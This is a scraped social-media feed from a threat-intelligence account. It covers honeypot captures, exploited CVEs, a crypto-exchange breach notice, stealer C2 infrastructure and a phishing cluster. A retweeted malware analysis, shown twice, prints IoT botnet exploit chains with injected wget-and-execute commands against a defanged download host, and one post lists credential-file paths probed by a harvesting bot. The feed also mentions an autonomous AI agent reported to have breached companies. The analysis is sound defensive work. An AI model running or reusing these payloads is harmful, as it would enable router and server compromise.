Threat intelligence from real-world attacks: exploited-CVE maps, malicious IP reputation, login-fraud detection & code security. https://nitter.cf/t.co/e1MdLOoSeN
London
Joined September 2026
- Tweets175
- Following0
- Followers82
- Likes78
We continue indexing more ARTEX portals.
Want to hunt for them, log-on and use our pivot graph.
#artex #infosec #cybersecurity #threatintel
31 autonomous AI runs against 25 European companies in 7 weeks. The agent's own reports claim 10 breached, 168 hosts and 1,256 credentials.
All left on two open directories.
huntback.io/blog/pentestcode…
#ThreatIntel #AISecurity #OffensiveAI #OSINT #CyberSecurity
That's right, you can now track CVEs, obtain evidence, the telemetry, the payloads, the detection rules and all of that via API.
app.huntback.io
Oh, and did we say we see exploitation attempts before the CVE drops?
1 compromised laptop ...6.3B ... whoosh 👻
Binance's initial investigation suggests that the security incident may involve a compromised DevOps engineer’s laptop, which allowed an attacker to gain access to a service container and submit unauthorized withdrawal transactions. We have found no evidence of any wallet private key leak. We will share a detailed technical post-mortem once the investigation is complete and the facts are fully verified.
The estimated total impact sits at around $6.3B. We have worked with blockchain partners to freeze affected assets, with ~$3 billion frozen on-chain so far.
Binance will cover all losses from the SAFU fund and the company’s funds. User funds are safe. We will also publish an updated Proof of Reserves once the remediation is complete.
As an immediate precaution, Binance has:
- temporarily suspended deposits and withdrawals while security checks are completed;
- revoked the affected address authorisation;
- engaged law enforcement and blockchain intelligence partners to trace and recover funds.
Our teams are working around the clock to resolve this issue safely and thoroughly. We are working closely with our law enforcement partners to confirm the identity of these criminals and bring them to justice.
Please rely only on official Binance channels for updates. Please feel free to contact Binance Customer Support if you have any further questions.
binance.com/en/support/annou…
What's with all of these hosts exposing
6 configs
2 crendentials
1 environment
1 config[.json
1 .]env
and
1 head
That's right you can just deploy a sensor and looking at what's coming in, monitoring payloads.
I deployed a decoy mimicking F5 BIG-IP using @Huntbackio, configured with a couple of known vulnerabilities (TMUI login page, phpinfo exposure) to see what internet-wide scanning looks like against it. Over roughly 4 hours the decoy logged 73 requests from 20 distinct source IPs.
Most of the traffic was generic mass scanning. Eight IPs (34.140.3.155, 185.213.155.249, 43.133.69.37, 66.132.195.40, 93.152.223.44, 44.220.188.120, 192.248.150.180, 49.51.38.193) hit /tmui/login.jsp, trying CVE-2023-46747, the F5 BIG-IP TMUI authentication bypass. That’s the one tag in the capture that’s actually relevant to what the decoy was emulating, and the pattern was consistent across all eight: a login-page probe followed by a root-path grab to fingerprint the response.
One IP, 93.152.223.44, stood out from the rest. In a 5-second burst it hit /tmui/login.jsp alongside /.git/config, /.git-credentials, /.aws/config, /.aws/credentials, /.env, and /azureauth.json, with duplicate hits on each path. That’s an automated secrets-harvesting bot, not a targeted actor, bundling a BIG-IP probe into a generic sweep for exposed cloud credentials and git configs.
A few other IPs tried things that don’t belong to F5 at all. 112.224.219.7 sent two POSTs to /forms/pdfengines/metadata/write, which the decoy tagged as CVE-2026-40281, but that CVE is a Gotenberg PDF-conversion API bug, nothing to do with BIG-IP. 195.182.16.23 hit /SDK/webLanguage, tagged CVE-2021-36260, a Hikvision camera command injection path. 93.152.223.44’s .env request was also tagged CVE-2026-39364, a Vite dev-server flaw. All three are the decoy auto-tagging by path signature rather than actual service context, bots replaying the same exploit payloads against every host on their scan list regardless of what’s listening. I’m treating those as mistagged noise, not real hits.
The rest (39.34.140.89 on /boaform/admin/formLogin, 66.132.195.40 and 66.132.186.162 on /phpinfo, 165.227.188.167 on /squid-internal-mgr/cachemgr.cgi, and a string of single GET / requests from IPs across GCP and AWS ranges) is standard background scanner traffic, consistent with what any public-facing BIG-IP instance sees.
#ThreatIntel #CTI #Honeypot #F5 #VulnerabilityScanning #CyberSecurity #ThreatHunting #AttackSurface #NetworkSecurity
Exactly what we’ve said all along! Exploitation attempts!
AI PoC just create noise…
❗️ A developer hid a Bitcoin key on a PHP server left unpatched against PHP2Shell, the critical flaws fixed on Oct 21, and dared anyone to steal it.
17 hours on, the wallet holds ~$2,000 and nobody has taken it.
The developer says someone is crashing PHP but "still no RCE yet".
Readers added context they thought people might want to know
The GitHub repository cited as the source explicitly acknowledges in its README that the supposed exploit is fabricated: “And of course it’s fake. Duh. Note: No harm intended, purely for fun.”
github.com/0x1c1101/CVE-2…
🚨 #PHP2Shell (CVE-2026-109618, CVE-2026-109619): our decoys caught probes 5h18m BEFORE PHP's 14:00 UTC patch on 21 Oct.
~30h after it, 77.90.185[.]20 was sending working payloads that drop a RedTail cryptominer from 217.60.102[.]5, posing as Chrome.
huntback.io/blog/php2shell-p…
Great analysis from @TheM3gatr0n ! Have a read.
IoT botnets are a plague and can do a lot of damage, this analysis allows us to understand more about the architecture and deployment of these.
During routine threat actor infrastructure hunting I found a multi-arch IoT botnet staging server at 176[.]65[.]132[.]7, serving four Tsunami/Kaiten binaries (ARM, MIPS, x86, MPSL) with zero auth on the directory[.]
Pulled Tsunami[.]x86 and ran static analysis.
It’s not just a payload, it’s a self-propagation module. Six hardcoded exploit chains baked in:
GPON ONT routers (CVE-2018-10561/10562): POST to /GponForm/diag_Form?style/ with User-Agent: Hello, World, injecting through the dest_host field:
wget hxxp://157[.]230[.]218[.]54/bin -O /tmp/gaf; sh /tmp/gaf
Huawei HG532 (CVE-2017-17215): POST to /ctrlt/DeviceUpgrade_1, Digest auth header spoofed (username="dslf-config", realm="HuaweiHomeGateway"), command embedded in the SOAP NewStatusURL field:
wget -g 157[.]230[.]218[.]54 -l /tmp/binary -r /bins/Tsunami[.]mips; chmod 777 /tmp/binary; /tmp/binary Tsunami[.]Huawei
Generic routers via tmUnblock[.]cgi: command injected through the ttcp_ip parameter, spoofing User-Agent: python-requests/2[.]20[.]0:
cd /tmp; rm -rf Tsunami[.]mpsl; wg_et hxxp://157[.]230[.]218[.]54/bins/Tsunami[.]mpsl; chmod 777 Tsunami[.]mpsl; [.]/Tsunami[.]mpsl linksys
Realtek SDK devices: POST to /picsdesc[.]xml, SOAP AddPortMapping action, command embedded in NewInternalClient:
cd /var/; wg_et hxxp://157[.]230[.]218[.]54/bins/Tsunami[.]mips; chmod +x Tsunami[.]mips; [.]/Tsunami[.]mips Tsunami[.]Realtek
ThinkPHP CMS: GET to /index[.]php?s=/index/think/app/invokefunction&function=call_user_func_array, self-identifying as User-Agent: Tsunami/2[.]0:
wg_et hxxp://157[.]230[.]218[.]54/bins/Tsunami[.]x86 -O thonkphp; chmod 777 thonkphp; [.]/thonkphp ThinkPHP; rm -rf thinkphp
Zyxel gear: POST to /cgi-bin/ViewLog[.]asp, spoofing User-Agent: python-requests/2[.]20[.]0, direct shell download:
/bin/busybox wg_et hxxp://157[.]230[.]218[.]54/zyxel[.]sh; chmod +x zyxel[.]sh; [.]/zyxel[.]sh
Every chain calls back to the same second-stage host: 157[.]230[.]218[.]54[.] Two of the six (HG532, Realtek) also carry a self-tag telling the binary which device type it just compromised, so an argv capture from an infected host hands you the infection vector for free. The ThinkPHP chain’s User-Agent: Tsunami/2[.]0 is the cleanest hunt signature of the set, it self-identifies in plaintext.
Found using @Huntbackio
Huntback.io retweeted
During routine threat actor infrastructure hunting I found a multi-arch IoT botnet staging server at 176[.]65[.]132[.]7, serving four Tsunami/Kaiten binaries (ARM, MIPS, x86, MPSL) with zero auth on the directory[.]
Pulled Tsunami[.]x86 and ran static analysis.
It’s not just a payload, it’s a self-propagation module. Six hardcoded exploit chains baked in:
GPON ONT routers (CVE-2018-10561/10562): POST to /GponForm/diag_Form?style/ with User-Agent: Hello, World, injecting through the dest_host field:
wget hxxp://157[.]230[.]218[.]54/bin -O /tmp/gaf; sh /tmp/gaf
Huawei HG532 (CVE-2017-17215): POST to /ctrlt/DeviceUpgrade_1, Digest auth header spoofed (username="dslf-config", realm="HuaweiHomeGateway"), command embedded in the SOAP NewStatusURL field:
wget -g 157[.]230[.]218[.]54 -l /tmp/binary -r /bins/Tsunami[.]mips; chmod 777 /tmp/binary; /tmp/binary Tsunami[.]Huawei
Generic routers via tmUnblock[.]cgi: command injected through the ttcp_ip parameter, spoofing User-Agent: python-requests/2[.]20[.]0:
cd /tmp; rm -rf Tsunami[.]mpsl; wg_et hxxp://157[.]230[.]218[.]54/bins/Tsunami[.]mpsl; chmod 777 Tsunami[.]mpsl; [.]/Tsunami[.]mpsl linksys
Realtek SDK devices: POST to /picsdesc[.]xml, SOAP AddPortMapping action, command embedded in NewInternalClient:
cd /var/; wg_et hxxp://157[.]230[.]218[.]54/bins/Tsunami[.]mips; chmod +x Tsunami[.]mips; [.]/Tsunami[.]mips Tsunami[.]Realtek
ThinkPHP CMS: GET to /index[.]php?s=/index/think/app/invokefunction&function=call_user_func_array, self-identifying as User-Agent: Tsunami/2[.]0:
wg_et hxxp://157[.]230[.]218[.]54/bins/Tsunami[.]x86 -O thonkphp; chmod 777 thonkphp; [.]/thonkphp ThinkPHP; rm -rf thinkphp
Zyxel gear: POST to /cgi-bin/ViewLog[.]asp, spoofing User-Agent: python-requests/2[.]20[.]0, direct shell download:
/bin/busybox wg_et hxxp://157[.]230[.]218[.]54/zyxel[.]sh; chmod +x zyxel[.]sh; [.]/zyxel[.]sh
Every chain calls back to the same second-stage host: 157[.]230[.]218[.]54[.] Two of the six (HG532, Realtek) also carry a self-tag telling the binary which device type it just compromised, so an argv capture from an infected host hands you the infection vector for free. The ThinkPHP chain’s User-Agent: Tsunami/2[.]0 is the cleanest hunt signature of the set, it self-identifies in plaintext.
Found using @Huntbackio
Searching for the Nuclear Control Room
What an exposed Windows intrusion workbench reveals about SCADA, PLC and critical-infrastructure discovery.
huntback.io/blog/searching-f…
#threatintel #SCADA #iot #CyberSecurity
Very cool write up from @J4ck3LSyN !
Write-up on a malware found by @JustWantToQ1 & @Huntbackio I ran RE on earlier today, including samples, analysis, decomp, c2-replay & IoC's....
> jackalsyn.com/posts/malAnaly…
#CyberSecurity #infosec
@malwrhunterteam @scanmalware
WEB_RAT is still alive.
A 990-byte "config.json" on 176.12.71[.]122 turned out to be a SalatStealer panel bootstrap. Live TLS certs tie it to the stealer's rotating C2: wruser[.]org, salator[.]es, websalat[.]top. 🧵⬇️
#ThreatIntel #SalatStealer #Infostealer
When those domains die, newer builds read a replacement C2 IP from a TON blockchain record (webratpanel[.]ton). Seize one server and the bots find the next.
Which TBH, is super cool!
Full map, IOCs and hunting guidance
huntback.io/blog/webrat-sala…
#CTI #Malware #DFIR
🚨 Fresh Huntback discovery: a rotating Mercari impersonation cluster hosted on:
IP: 47[.]74[.]50[.]121
ASN: AS45102 — Alibaba US Technology Co., Ltd.
Huntback captured at least 14 randomly named .cn domains serving near-identical Japanese-language Mercari clones. The pages reproduce Mercari’s branding and interface while loading assets from the legitimate Mercari CDN, helping the fraudulent sites appear convincing.
Newest capture:
• gvagsb[.]cn
• Captured: 2026-10-17 00:27 UTC
• SHA-256: e97f83c149f628222499598205c3b1e6f08eedf7c00aaba8ce4e91872959c2fc
• Approximate page size: 552 KB
Associated domains observed on the same infrastructure:
romcu[.]cn
cmfbi[.]cn
sxgfy[.]cn
mqpml[.]cn
johmy[.]cn
hoexq[.]cn
ymlrr[.]cn
mhtqk[.]cn
mrssfq[.]cn
rqszsx[.]cn
xtmafe[.]cn
jlysss[.]cn
jbivjg[.]cn
Shared infrastructure and near-identical page contents strongly indicate a rotating phishing deployment designed to replace domains as they are detected or blocked.
The pages reference legitimate content from:
web-jp-assets-v2[.]mercdn[.]net
it appears the operators are remotely loading genuine assets to make the cloned pages look authentic.
The Japanese Anti-Phishing Council has previously warned that Mercari phishing campaigns use cloned websites and .cn domains.
Huntback’s latest captures show that this tradecraft remains active.
Block and investigate:
47[.]74[.]50[.]121
#Huntback #ThreatIntel #Phishing #Mercari #CyberSecurity #OSINT #IOC #BrandProtection #Fraud #DFIR #SOC #CTI